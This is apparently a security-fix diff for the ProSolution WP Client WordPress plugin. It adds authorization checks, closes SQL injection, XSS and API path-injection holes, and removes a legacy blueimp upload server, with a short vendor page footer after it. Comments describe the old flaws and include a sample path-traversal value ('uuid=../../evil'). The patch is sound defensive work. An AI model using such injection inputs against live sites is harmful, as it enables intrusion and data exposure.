+			if ( ! wp_doing_cron() ) {
+				if ( ! current_user_can( 'manage_options' ) ) {
+					wp_send_json_error( esc_html__( 'You are not allowed to run this action.', 'prosolution-wp-client' ), 403 );
+				}
+				check_ajax_referer( 'prosolwpclient_admin', 'security' );
+			}
+
 			$prosolwpclient_selsite=$siteidfordb=="0" ? '' : 'site'.$siteidfordb.'_';
 			$frontend_settingPage = get_option( 'prosolwpclient_frontend' );
 			$chkclientlist =  $frontend_settingPage[$prosolwpclient_selsite.'client_list'];
@@ -362,9 +382,20 @@
 								rmdir($img_dir_path);
 							}
 							$chkerror=0;
-							foreach ( $prosolwpclient_jobid_arr as $prosolwpclient_index => $prosolwpclient_jobid ) {
-								$prosolwpclient_response = wp_remote_get( $prosolwpclient_api_config['api_url'] . $api_location . 'jobdetail/' . $prosolwpclient_jobid, array( 'headers' => $prosolwpclient_header_info ) );
-
+							foreach ( $prosolwpclient_jobid_arr as $prosolwpclient_index => $prosolwpclient_jobid ) {
+								// WOEX-4666: sync jobdetail path — allowlist API-sourced ids before URL concat.
+								$safe_jobid = CBXProSolWpClient_Helper::proSol_sanitizeApiPathSegment( $prosolwpclient_jobid );
+								if ( $safe_jobid === '' ) {
+									continue;
+								}
+								$prosolwpclient_response = wp_remote_get(
+									$prosolwpclient_api_config['api_url'] . $api_location . 'jobdetail/' . rawurlencode( $safe_jobid ),
+									array(
+										'headers'     => $prosolwpclient_header_info,
+										'redirection' => 0,
+									)
+								);
+
 								if ( ! is_wp_error( $prosolwpclient_response ) ) {
 									$prosolwpclient_response_data = json_decode( $prosolwpclient_response['body'] )->data;

--- a/prosolution-wp-client/includes/class-prosolwpclient.php
+++ b/prosolution-wp-client/includes/class-prosolwpclient.php
@@ -209,6 +209,10 @@

 		//setting init and add  setting sub menu in setting menu
 		$this->loader->proSol_add_action( 'admin_init', $plugin_admin, 'proSol_adminInitCallback' );
+
+		// WOEX-4667 (PS-019): clear the legacy blueimp demo upload server left by in-place upgrades.
+		$this->loader->proSol_add_action( 'admin_init', 'CBXProSolWpClient_Helper', 'proSol_removeLegacyUploadServer' );
+
 		$this->loader->proSol_add_action( 'admin_notices', $plugin_admin, 'proSol_adminNotices' );
 		//$this->loader->proSol_add_action( 'admin_menu', $plugin_admin, 'myRenamedPlugin' );

--- a/prosolution-wp-client/includes/class-setting.php
+++ b/prosolution-wp-client/includes/class-setting.php
@@ -1203,8 +1203,15 @@
 			 */
 			function proSol_callback_file_with_thumbnail( $args ) {
 				$array_value = $this->proSol_get_option( $args['id'], $args['section'], $args['default'] );
-				$value_file = $array_value['file'];
-				$value_name = $array_value['name'];
+				$value_file = isset( $array_value['file'] ) ? $array_value['file'] : '';
+				$value_name = isset( $array_value['name'] ) ? $array_value['name'] : '';
+				// WOEX-4669 / PS-044: escape logo URL/name in admin HTML.
+				// img src uses display escaping; hidden inputs use esc_attr on the raw URL/name
+				// so a settings re-save does not entity-encode a valid media library URL.
+				$safe_src       = CBXProSolWpClient_Helper::proSol_escImageSrc( $value_file );
+				$safe_file_attr = esc_attr( esc_url_raw( is_scalar( $value_file ) ? (string) $value_file : '' ) );
+				$safe_name      = esc_html( is_scalar( $value_name ) ? (string) $value_name : '' );
+				$safe_name_attr = esc_attr( is_scalar( $value_name ) ? (string) $value_name : '' );

 				$size  = isset( $args['size'] ) && ! is_null( $args['size'] ) ? $args['size'] : 'regular';
 				$id    = $args['section'] . '[' . $args['id'] . ']';
@@ -1213,10 +1220,10 @@
 					esc_html__( 'Choose File', 'prosolution-wp-client' );

 				$prosolwpclient_html = sprintf( '<input type="button" id="%1$s[%2$s]" class="button wpul-browse" value="%3$s" />', $args['section'], $args['id'], $label );
-				$prosolwpclient_html .= sprintf( '<span style="color:gray; padding-left:15px;vertical-align:inherit;" class="%1$s-text wpul-url" id="%2$s[%3$s]" name="%2$s[%3$s]">%4$s</span>', $size, $args['section'], $args['id'], $value_name );
-				$prosolwpclient_html .= sprintf( '<br><img style="margin:32px 0"; class="wpul-img" src="%1$s" draggable="false" alt="" value="">',  $value_file );
-				$prosolwpclient_html .= sprintf( '<input type="hidden" class="%1$s-text wpul-value" id="%2$s[%3$sfile]" name="%2$s[%3$sfile]" value="%4$s"/>', $size, $args['section'], $args['id'], $value_file );
-				$prosolwpclient_html .= sprintf( '<input type="hidden" class="%1$s-text wpul-name" id="%2$s[%3$sname]" name="%2$s[%3$sname]" value="%4$s"/>', $size, $args['section'], $args['id'], $value_name );
+				$prosolwpclient_html .= sprintf( '<span style="color:gray; padding-left:15px;vertical-align:inherit;" class="%1$s-text wpul-url" id="%2$s[%3$s]" name="%2$s[%3$s]">%4$s</span>', $size, $args['section'], $args['id'], $safe_name );
+				$prosolwpclient_html .= sprintf( '<br><img style="margin:32px 0"; class="wpul-img" src="%1$s" draggable="false" alt="" value="">', $safe_src );
+				$prosolwpclient_html .= sprintf( '<input type="hidden" class="%1$s-text wpul-value" id="%2$s[%3$sfile]" name="%2$s[%3$sfile]" value="%4$s"/>', $size, $args['section'], $args['id'], $safe_file_attr );
+				$prosolwpclient_html .= sprintf( '<input type="hidden" class="%1$s-text wpul-name" id="%2$s[%3$sname]" name="%2$s[%3$sname]" value="%4$s"/>', $size, $args['section'], $args['id'], $safe_name_attr );
 				$prosolwpclient_html .= $this->proSol_get_field_description( $args );

 				echo $prosolwpclient_html;
@@ -1321,6 +1328,10 @@
 			 * Sanitize callback for Settings API
 			 */
 			function proSol_sanitize_options( $options ) {
+				if ( ! is_array( $options ) ) {
+					return $options;
+				}
+
 				foreach ( $options as $option_slug => $option_value ) {
 					$sanitize_callback = $this->proSol_get_sanitize_callback( $option_slug );

@@ -1329,6 +1340,17 @@
 						$options[ $option_slug ] = call_user_func( $sanitize_callback, $option_value );
 						continue;
 					}
+
+					// WOEX-4669 / PS-044: logo URL/name keys are saved as *deslogofile / *deslogoname
+					// (including siteN_ prefixes). Keep valid media URLs; strip attribute breakouts.
+					if ( is_string( $option_slug ) && substr( $option_slug, -11 ) === 'deslogofile' ) {
+						$options[ $option_slug ] = esc_url_raw( is_scalar( $option_value ) ? (string) $option_value : '' );
+						continue;
+					}
+					if ( is_string( $option_slug ) && substr( $option_slug, -11 ) === 'deslogoname' ) {
+						$options[ $option_slug ] = sanitize_text_field( is_scalar( $option_value ) ? (string) $option_value : '' );
+						continue;
+					}
 				}

 				return $options;
--- a/prosolution-wp-client/includes/single-table-list/class-prosolwpclient-federal-list.php
+++ b/prosolution-wp-client/includes/single-table-list/class-prosolwpclient-federal-list.php
@@ -164,13 +164,31 @@
             $sortable_columns = array(
                 'federalId'   => array('federalId', false),     //true means it's already sorted
                 'name'        => array('name', false),
-                'countryCode' => array('Country Code', false),     //true means it's already sorted
-                'site_id'           => array('site_id', false),
+                // Must match the SQL column name (and ORDER BY allowlist), not the display label.
+                'countryCode' => array('countryCode', false),
+                'site_id'     => array('site_id', false),
             );

             return $sortable_columns;
         }

+        /**
+         * WOEX-4668 (PS-013): columns allowed in ORDER BY for this admin list.
+         *
+         * @return array
+         */
+        function proSol_get_allowed_orderby_columns()
+        {
+            return array(
+                'federalId'   => 'federalId',
+                'name'        => 'name',
+                'countryCode' => 'countryCode',
+                // Legacy sortable value from older builds used the display label.
+                'Country Code'=> 'countryCode',
+                'site_id'     => 'site_id',
+            );
+        }
+
         function prepare_items()
         {
             //global $wpdb;global $prosolwpclient_prefix; //This is used only if making any database queries
@@ -239,8 +257,14 @@
              */


-            $prosolwpclient_order = (isset($_REQUEST['order']) && $_REQUEST['order'] != '') ? $_REQUEST['order'] : 'asc';
-            $orderby = (isset($_REQUEST['orderby']) && $_REQUEST['orderby'] != '') ? $_REQUEST['orderby'] : 'name';
+            // WOEX-4668 (PS-013): never pass raw $_REQUEST orderby/order into SQL.
+            list( $orderby, $prosolwpclient_order ) = CBXProSolWpClient_Helper::proSol_sanitizeSqlOrderBy(
+                isset( $_REQUEST['orderby'] ) ? $_REQUEST['orderby'] : 'name',
+                isset( $_REQUEST['order'] ) ? $_REQUEST['order'] : 'asc',
+                $this->proSol_get_allowed_orderby_columns(),
+                'name',
+                'asc'
+            );

             $search = (isset($_REQUEST['s']) && $_REQUEST['s'] != '') ? sanitize_text_field($_REQUEST['s']) : '';

@@ -311,11 +335,18 @@

             $prosolwpclient_start_point = ($page * $prosolwpclient_perpage) - $prosolwpclient_perpage;
             $prosolwpclient_limit_sql = "LIMIT";
-            $prosolwpclient_limit_sql .= ' ' . $prosolwpclient_start_point . ',';
-            $prosolwpclient_limit_sql .= ' ' . $prosolwpclient_perpage;
-
+            $prosolwpclient_limit_sql .= ' ' . intval( $prosolwpclient_start_point ) . ',';
+            $prosolwpclient_limit_sql .= ' ' . intval( $prosolwpclient_perpage );

-            $prosolwpclient_sortingOrder = " ORDER BY $orderby $prosolwpclient_order ";
+            // Defense in depth: re-allowlist even if callers pass unsanitized values.
+            list( $orderby, $prosolwpclient_order ) = CBXProSolWpClient_Helper::proSol_sanitizeSqlOrderBy(
+                $orderby,
+                $prosolwpclient_order,
+                $this->proSol_get_allowed_orderby_columns(),
+                'name',
+                'asc'
+            );
+            $prosolwpclient_sortingOrder = " ORDER BY {$orderby} {$prosolwpclient_order} ";


             $data = $wpdb->get_results("$prosolwpclient_sql_select  WHERE  $prosolwpclient_where_sql $prosolwpclient_sortingOrder  $prosolwpclient_limit_sql", 'ARRAY_A');
@@ -356,11 +387,8 @@
                 $prosolwpclient_where_sql = '1';
             }

-
-            $prosolwpclient_sortingOrder = " ORDER BY $orderby $prosolwpclient_order ";
-
-
-            $count = $wpdb->get_var("$prosolwpclient_sql_select  WHERE  $prosolwpclient_where_sql $prosolwpclient_sortingOrder");
+            // COUNT does not need ORDER BY; omit it so injected sort input cannot delay this path.
+            $count = $wpdb->get_var("$prosolwpclient_sql_select  WHERE  $prosolwpclient_where_sql");

             return $count;
         }
--- a/prosolution-wp-client/prosolwpclient.php
+++ b/prosolution-wp-client/prosolwpclient.php
@@ -16,7 +16,7 @@
      * Plugin Name:       ProSolution WP Client
      * Plugin URI:        https://prosolution.com/produkte-und-services/workexpert.html
      * Description:       WordPress client for ProSolution
-     * Version:           2.0.10
+     * Version:           2.0.11
      * Author:            ProSolution
      * Author URI:        https://www.prosolution.com
      * License:           GPL-2.0+
@@ -44,7 +44,7 @@


     defined('PROSOLWPCLIENT_PLUGIN_NAME') or define('PROSOLWPCLIENT_PLUGIN_NAME', 'prosolwpclient');
-    defined('PROSOLWPCLIENT_PLUGIN_VERSION') or define('PROSOLWPCLIENT_PLUGIN_VERSION', '2.0.10');
+    defined('PROSOLWPCLIENT_PLUGIN_VERSION') or define('PROSOLWPCLIENT_PLUGIN_VERSION', '2.0.11');
     defined('PROSOLWPCLIENT_BASE_NAME') or define('PROSOLWPCLIENT_BASE_NAME', plugin_basename(__FILE__));
     defined('PROSOLWPCLIENT_ROOT_PATH') or define('PROSOLWPCLIENT_ROOT_PATH', plugin_dir_path(__FILE__));
     defined('PROSOLWPCLIENT_ROOT_URL') or define('PROSOLWPCLIENT_ROOT_URL', plugin_dir_url(__FILE__));
@@ -338,6 +338,11 @@
 		CBXProSolWpClient_Activator::proSol_activate();

         CBXProSolWpClient_Activator::proSol_createPages(); //create the shortcode page
+
+		// WOEX-4667 (PS-019): remove the legacy blueimp demo upload server on install/upgrade.
+		if ( class_exists( 'CBXProSolWpClient_Helper' ) ) {
+			CBXProSolWpClient_Helper::proSol_removeLegacyUploadServer();
+		}
     }

     /**
--- a/prosolution-wp-client/public/class-prosolwpclient-public.php
+++ b/prosolution-wp-client/public/class-prosolwpclient-public.php
@@ -487,9 +487,15 @@
 				$template_name = 'templates/prosolwpclientjobsearchresult.php';
 			}

-			$prosolwpclient_jobid = isset( $_REQUEST['jobid'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['jobid'] ) ) : '';
+			// WOEX-4666: allowlist path segments used in outbound WorkExpert URLs / SQL job lookups.
+			$prosolwpclient_jobid = isset( $_REQUEST['jobid'] )
+				? CBXProSolWpClient_Helper::proSol_sanitizeApiPathSegment( wp_unslash( $_REQUEST['jobid'] ) )
+				: '';
 			//$uuid='EAC87A80-9262-4C49-851F7C5FD02FBE64';
-			$woexPreviewUUID = isset($_REQUEST['woexPreview']) ? $_REQUEST['woexPreview'] : '';
+			// WOEX-4666 (PS-017 / PS-049): never feed raw request tokens into API path/body.
+			$woexPreviewUUID = isset( $_REQUEST['woexPreview'] )
+				? CBXProSolWpClient_Helper::proSol_sanitizeApiUuid( wp_unslash( $_REQUEST['woexPreview'] ) )
+				: '';
 			if ( $param_type == 'details' ) {
 				// project 1440,kev
 				/* $prosolwpclient_header_info = CBXProSolWpClient_TableHelper::proSol_apiConfig($prosolwpclient_issite);
@@ -511,16 +517,24 @@
 				global $wpdb;global $prosolwpclient_prefix;
 				$table_ps_jobs = $prosolwpclient_prefix . 'jobs';

-				$qjobs = $wpdb->get_results(
-					$wpdb->prepare(
-						"SELECT * FROM $table_ps_jobs WHERE jobid = %s AND site_id = %d",
-						$prosolwpclient_jobid,
-						$prosolwpclient_siteid
-					),
-					"OBJECT"
-				);
+				// WOEX-4670 / PS-039: only return portal-published jobs by jobid.
+				// Synced joblist rows always carry publishdate; unpublished / synthetic
+				// rows (and guessable IDs without a publish marker) must not leak.
+				// TRIM matches proSol_isPublishedJobPublishdate() so whitespace-only
+				// values are not treated as published.
+				$qjobs = array();
+				if ( $prosolwpclient_jobid !== '' ) {
+					$qjobs = $wpdb->get_results(
+						$wpdb->prepare(
+							"SELECT * FROM $table_ps_jobs WHERE jobid = %s AND site_id = %d AND publishdate IS NOT NULL AND TRIM(publishdate) <> ''",
+							$prosolwpclient_jobid,
+							$prosolwpclient_siteid
+						),
+						"OBJECT"
+					);
+				}

-				$prosolwpclient_recordcount = count($qjobs);
+				$prosolwpclient_recordcount = is_array( $qjobs ) ? count( $qjobs ) : 0;
 				if ( $prosolwpclient_recordcount != 0 ) {
 					// transform into API's output structure
 					$obj_response= (object)[];
@@ -558,6 +572,14 @@

 					$job_details_result = $obj_response;
 					// var_dump($profession_decode);
+				} else if ( $prosolwpclient_jobid === '' ) {
+					// WOEX-4666: invalid/missing jobid — do not call jobdetail with a crafted path segment.
+					$job_details_result = sprintf( __( 'Database returns empty', 'prosolution-wp-client' ) );
+				} else if ( $woexPreviewUUID === '' ) {
+					// WOEX-4670 / PS-039: unpublished jobs are not in the published local
+					// set. Do not call WorkExpert jobdetail by guessable jobid alone —
+					// preview links must supply a valid woexPreview UUID.
+					$job_details_result = sprintf( __( 'Database returns empty', 'prosolution-wp-client' ) );
 				} else {
 					$prosolwpclient_header_info = CBXProSolWpClient_TableHelper::proSol_apiConfig($prosolwpclient_issite);
 					$safe_data = array(
@@ -567,14 +589,21 @@
 					$api_location = 'recruitment/';
 					$api_body  = array( "param" => json_encode( $safe_data ) );
 					$prosolwpclient_response    = wp_remote_post( $prosolwpclient_api_config['api_url'] .''. $api_location .'previewisvalid', array(
-						'headers' => $prosolwpclient_header_info,
-						'body'    => $api_body
+						'headers'     => $prosolwpclient_header_info,
+						'body'        => $api_body,
+						'redirection' => 0,
 					) );
 					if ( ! is_wp_error( $prosolwpclient_response ) ) {
 						$prosolwpclient_response_data = json_decode( $prosolwpclient_response['body'] )->data;
 						$result = $prosolwpclient_response_data->previewstatus;
 						if($result){
-							$prosolwpclient_response = wp_remote_get( $prosolwpclient_api_config['api_url'] . $api_location . 'jobdetail/' . $prosolwpclient_jobid, array( 'headers' => $prosolwpclient_header_info ) );
+							$prosolwpclient_response = wp_remote_get(
+								$prosolwpclient_api_config['api_url'] . $api_location . 'jobdetail/' . rawurlencode( $prosolwpclient_jobid ),
+								array(
+									'headers'     => $prosolwpclient_header_info,
+									'redirection' => 0,
+								)
+							);
 							$prosolwpclient_response_data = json_decode( $prosolwpclient_response['body'] )->data;

 							$job_details_result = $prosolwpclient_response_data;
@@ -599,26 +628,43 @@
 			}

 			if ( $param_type == 'crawler' ) {
-				$uuid = $_REQUEST['uuid'];
-				$prosolwpclient_header_info = CBXProSolWpClient_TableHelper::proSol_apiConfig($prosolwpclient_issite);
-				$prosolwpclient_response = wp_remote_get( $prosolwpclient_api_config['api_url'] . 'application/jobdetails/' . $uuid, array( 'headers' => $prosolwpclient_header_info ) );
-				if ( ! is_wp_error( $prosolwpclient_response ) ) {
-
-					$job_details_result = json_decode( $prosolwpclient_response['body'] )->data;
+				// WOEX-4666 (PS-017): allowlist uuid before concatenating into the outbound API path.
+				// Evidence: uuid=../../evil → .../application/jobdetails/../../evil (path injection).
+				$uuid = isset( $_REQUEST['uuid'] )
+					? CBXProSolWpClient_Helper::proSol_sanitizeApiUuid( wp_unslash( $_REQUEST['uuid'] ) )
+					: '';

+				if ( $uuid === '' ) {
+					$job_details_result = __( 'Not found any jobs', 'prosolution-wp-client' );
 				} else {
-					$job_details_result = sprintf( __( 'Api response failed. Message: %s', 'prosolution-wp-client' ), $prosolwpclient_response->get_error_message() );
+					$prosolwpclient_header_info = CBXProSolWpClient_TableHelper::proSol_apiConfig( $prosolwpclient_issite );
+					$prosolwpclient_response    = wp_remote_get(
+						$prosolwpclient_api_config['api_url'] . 'application/jobdetails/' . rawurlencode( $uuid ),
+						array(
+							'headers'     => $prosolwpclient_header_info,
+							'redirection' => 0,
+						)
+					);
+					if ( ! is_wp_error( $prosolwpclient_response ) ) {
+						$job_details_result = json_decode( $prosolwpclient_response['body'] )->data;
+					} else {
+						$job_details_result = sprintf( __( 'Api response failed. Message: %s', 'prosolution-wp-client' ), $prosolwpclient_response->get_error_message() );
+					}
 				}
-
+
 				$template_name = 'templates/prosolwpclientcrawler.php';
 			}

-			$prosolwpclient_opt = get_option('prosolwpclient_designtemplate');
-			$wplogo= $prosolwpclient_opt[$prosolwpclient_issite.'deslogofile'];
+			$prosolwpclient_opt = get_option( 'prosolwpclient_designtemplate' );
+			// WOEX-4669 / PS-044: deslogofile is stored in options and echoed into <img src>;
+			// escape as an image URL so attribute breakout payloads cannot execute.
+			$wplogo = ( is_array( $prosolwpclient_opt ) && isset( $prosolwpclient_opt[ $prosolwpclient_issite . 'deslogofile' ] ) )
+				? CBXProSolWpClient_Helper::proSol_escImageSrc( $prosolwpclient_opt[ $prosolwpclient_issite . 'deslogofile' ] )
+				: '';

 			ob_start();
 			echo '<p id="anchorwp"></p>';
-			echo '<img style="margin: 32px 15px;" class="prosolwpclientlogo" src="'. $wplogo .'"></img>';
+			echo '<img style="margin: 32px 15px;" class="prosolwpclientlogo" src="' . $wplogo . '"></img>';
 			echo '<div class="prosolwpclientcustombootstrap">';
 			include( $template_name );
 			echo '</div>';
--- a/prosolution-wp-client/public/js/jQuery-File-Upload-master/server/php/UploadHandler.php
+++ b/prosolution-wp-client/public/js/jQuery-File-Upload-master/server/php/UploadHandler.php
@@ -1,1480 +0,0 @@
-<?php
-/*
- * jQuery File Upload Plugin PHP Class
- * https://github.com/blueimp/jQuery-File-Upload
- *
- * Copyright 2010, Sebastian Tschan
- * https://blueimp.net
- *
- * Licensed under the MIT license:
- * https://opensource.org/licenses/MIT
- */
-
-class UploadHandler
-{
-
-    protected $options;
-
-    // PHP File Upload error message codes:
-    // https://php.net/manual/en/features.file-upload.errors.php
-    protected $error_messages = array(
-        1 => 'The uploaded file exceeds the upload_max_filesize directive in php.ini',
-        2 => 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form',
-        3 => 'The uploaded file was only partially uploaded',
-        4 => 'No file was uploaded',
-        6 => 'Missing a temporary folder',
-        7 => 'Failed to write file to disk',
-        8 => 'A PHP extension stopped the file upload',
-        'post_max_size' => 'The uploaded file exceeds the post_max_size directive in php.ini',
-        'max_file_size' => 'File is too big',
-        'min_file_size' => 'File is too small',
-        'accept_file_types' => 'Filetype not allowed',
-        'max_number_of_files' => 'Maximum number of files exceeded',
-        'invalid_file_type' => 'Invalid file type',
-        'max_width' => 'Image exceeds maximum width',
-        'min_width' => 'Image requires a minimum width',
-        'max_height' => 'Image exceeds maximum height',
-        'min_height' => 'Image requires a minimum height',
-        'abort' => 'File upload aborted',
-        'image_resize' => 'Failed to resize image'
-    );
-
-    const IMAGETYPE_GIF = 'image/gif';
-    const IMAGETYPE_JPEG = 'image/jpeg';
-    const IMAGETYPE_PNG = 'image/png';
-
-    protected $image_objects = array();
-    protected $response = array();
-
-    public function __construct($options = null, $initialize = true, $error_messages = null) {
-        $this->options = array(
-            'script_url' => $this->get_full_url().'/'.$this->basename($this->get_server_var('SCRIPT_NAME')),
-            'upload_dir' => dirname($this->get_server_var('SCRIPT_FILENAME')).'/files/',
-            'upload_url' => $this->get_full_url().'/files/',
-            'input_stream' => 'php://input',
-            'user_dirs' => false,
-            'mkdir_mode' => 0755,
-            'param_name' => 'files',
-            // Set the following option to 'POST', if your server does not support
-            // DELETE requests. This is a parameter sent to the client:
-            'delete_type' => 'DELETE',
-            'access_control_allow_origin' => '*',
-            'access_control_allow_credentials' => false,
-            'access_control_allow_methods' => array(
-                'OPTIONS',
-                'HEAD',
-                'GET',
-                'POST',
-                'PUT',
-                'PATCH',
-                'DELETE'
-            ),
-            'access_control_allow_headers' => array(
-                'Content-Type',
-                'Content-Range',
-                'Content-Disposition'
-            ),
-            // By default, allow redirects to the referer protocol+host:
-            'redirect_allow_target' => '/^'.preg_quote(
-                    parse_url($this->get_server_var('HTTP_REFERER'), PHP_URL_SCHEME)
-                    .'://'
-                    .parse_url($this->get_server_var('HTTP_REFERER'), PHP_URL_HOST)
-                    .'/', // Trailing slash to not match subdomains by mistake
-                    '/' // preg_quote delimiter param
-                ).'/',
-            // Enable to provide file downloads via GET requests to the PHP script:
-            //     1. Set to 1 to download files via readfile method through PHP
-            //     2. Set to 2 to send a X-Sendfile header for lighttpd/Apache
-            //     3. Set to 3 to send a X-Accel-Redirect header for nginx
-            // If set to 2 or 3, adjust the upload_url option to the base path of
-            // the redirect parameter, e.g. '/files/'.
-            'download_via_php' => false,
-            // Read files in chunks to avoid memory limits when download_via_php
-            // is enabled, set to 0 to disable chunked reading of files:
-            'readfile_chunk_size' => 10 * 1024 * 1024, // 10 MiB
-            // Defines which files can be displayed inline when downloaded:
-            'inline_file_types' => '/.(gif|jpe?g|png)$/i',
-            // Defines which files (based on their names) are accepted for upload.
-            // By default, only allows file uploads with image file extensions.
-            // Only change this setting after making sure that any allowed file
-            // types cannot be executed by the webserver in the files directory,
-            // e.g. PHP scripts, nor executed by the browser when downloaded,
-            // e.g. HTML files with embedded JavaScript code.
-            // Please also read the SECURITY.md document in this repository.
-            'accept_file_types' => '/.(gif|jpe?g|png)$/i',
-            // Replaces dots in filenames with the given string.
-            // Can be disabled by setting it to false or an empty string.
-            // Note that this is a security feature for servers that support
-            // multiple file extensions, e.g. the Apache AddHandler Directive:
-            // https://httpd.apache.org/docs/current/mod/mod_mime.html#addhandler
-            // Before disabling it, make sure that files uploaded with multiple
-            // extensions cannot be executed by the webserver, e.g.
-            // "example.php.png" with embedded PHP code, nor executed by the
-            // browser when downloaded, e.g. "example.html.gif" with embedded
-            // JavaScript code.
-            'replace_dots_in_filenames' => '-',
-            // The php.ini settings upload_max_filesize and post_max_size
-            // take precedence over the following max_file_size setting:
-            'max_file_size' => null,
-            'min_file_size' => 1,
-            // The maximum number of files for the upload directory:
-            'max_number_of_files' => null,
-            // Reads first file bytes to identify and correct file extensions:
-            'correct_image_extensions' => false,
-            // Image resolution restrictions:
-            'max_width' => null,
-            'max_height' => null,
-            'min_width' => 1,
-            'min_height' => 1,
-            // Set the following option to false to enable resumable uploads:
-            'discard_aborted_uploads' => true,
-            // Set to 0 to use the GD library to scale and orient images,
-            // set to 1 to use imagick (if installed, falls back to GD),
-            // set to 2 to use the ImageMagick convert binary directly:
-            'image_library' => 1,
-            // Uncomment the following to define an array of resource limits
-            // for imagick:
-            /*
-            'imagick_resource_limits' => array(
-                imagick::RESOURCETYPE_MAP => 32,
-                imagick::RESOURCETYPE_MEMORY => 32
-            ),
-            */
-            // Command or path for to the ImageMagick convert binary:
-            'convert_bin' => 'convert',
-            // Uncomment the following to add parameters in front of each
-            // ImageMagick convert call (the limit constraints seem only
-            // to have an effect if put in front):
-            /*
-            'convert_params' => '-limit memory 32MiB -limit map 32MiB',
-            */
-            // Command or path for to the ImageMagick identify binary:
-            'identify_bin' => 'identify',
-            'image_versions' => array(
-                // The empty image version key defines options for the original image.
-                // Keep in mind: these image manipulations are inherited by all other image versions from this point onwards.
-                // Also note that the property 'no_cache' is not inherited, since it's not a manipulation.
-                '' => array(
-                    // Automatically rotate images based on EXIF meta data:
-                    'auto_orient' => true
-                ),
-                // You can add arrays to generate different versions.
-                // The name of the key is the name of the version (example: 'medium').
-                // the array contains the options to apply.
-                /*
-                'medium' => array(
-                    'max_width' => 800,
-                    'max_height' => 600
-                ),
-                */
-                'thumbnail' => array(
-                    // Uncomment the following to use a defined directory for the thumbnails
-                    // instead of a subdirectory based on the version identifier.
-                    // Make sure that this directory doesn't allow execution of files if you
-                    // don't pose any restrictions on the type of uploaded files, e.g. by
-                    // copying the .htaccess file from the files directory for Apache:
-                    //'upload_dir' => dirname($this->get_server_var('SCRIPT_FILENAME')).'/thumb/',
-                    //'upload_url' => $this->get_full_url().'/thumb/',
-                    // Uncomment the following to force the max
-                    // dimensions and e.g. create square thumbnails:
-                    // 'auto_orient' => true,
-                    // 'crop' => true,
-                    // 'jpeg_quality' => 70,
-                    // 'no_cache' => true, (there's a caching option, but this remembers thumbnail sizes from a previous action!)
-                    // 'strip' => true, (this strips EXIF tags, such as geolocation)
-                    'max_width' => 80, // either specify width, or set to 0. Then width is automatically adjusted - keeping aspect ratio to a specified max_height.
-                    'max_height' => 80 // either specify height, or set to 0. Then height is automatically adjusted - keeping aspect ratio to a specified max_width.
-                )
-            ),
-            'print_response' => true
-        );
-        if ($options) {
-            $this->options = $options + $this->options;
-        }
-        if ($error_messages) {
-            $this->error_messages = $error_messages + $this->error_messages;
-        }
-        if ($initialize) {
-            $this->initialize();
-        }
-    }
-
-    protected function initialize() {
-        switch ($this->get_server_var('REQUEST_METHOD')) {
-            case 'OPTIONS':
-            case 'HEAD':
-                $this->head();
-                break;
-            case 'GET':
-                $this->get($this->options['print_response']);
-                break;
-            case 'PATCH':
-            case 'PUT':
-            case 'POST':
-                $this->post($this->options['print_response']);
-                break;
-            case 'DELETE':
-                $this->delete($this->options['print_response']);
-                break;
-            default:
-                $this->header('HTTP/1.1 405 Method Not Allowed');
-        }
-    }
-
-    protected function get_full_url() {
-        $https = !empty($_SERVER['HTTPS']) && strcasecmp($_SERVER['HTTPS'], 'on') === 0 ||
-            !empty($_SERVER['HTTP_X_FORWARDED_PROTO']) &&
-            strcasecmp($_SERVER['HTTP_X_FORWARDED_PROTO'], 'https') === 0;
-        return
-            ($https ? 'https://' : 'http://').
-            (!empty($_SERVER['REMOTE_USER']) ? $_SERVER['REMOTE_USER'].'@' : '').
-            (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ($_SERVER['SERVER_NAME'].
-                ($https && $_SERVER['SERVER_PORT'] === 443 ||
-                $_SERVER['SERVER_PORT'] === 80 ? '' : ':'.$_SERVER['SERVER_PORT']))).
-            substr($_SERVER['SCRIPT_NAME'],0, strrpos($_SERVER['SCRIPT_NAME'], '/'));
-    }
-
-    protected function get_user_id() {
-        @session_start();
-        return session_id();

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.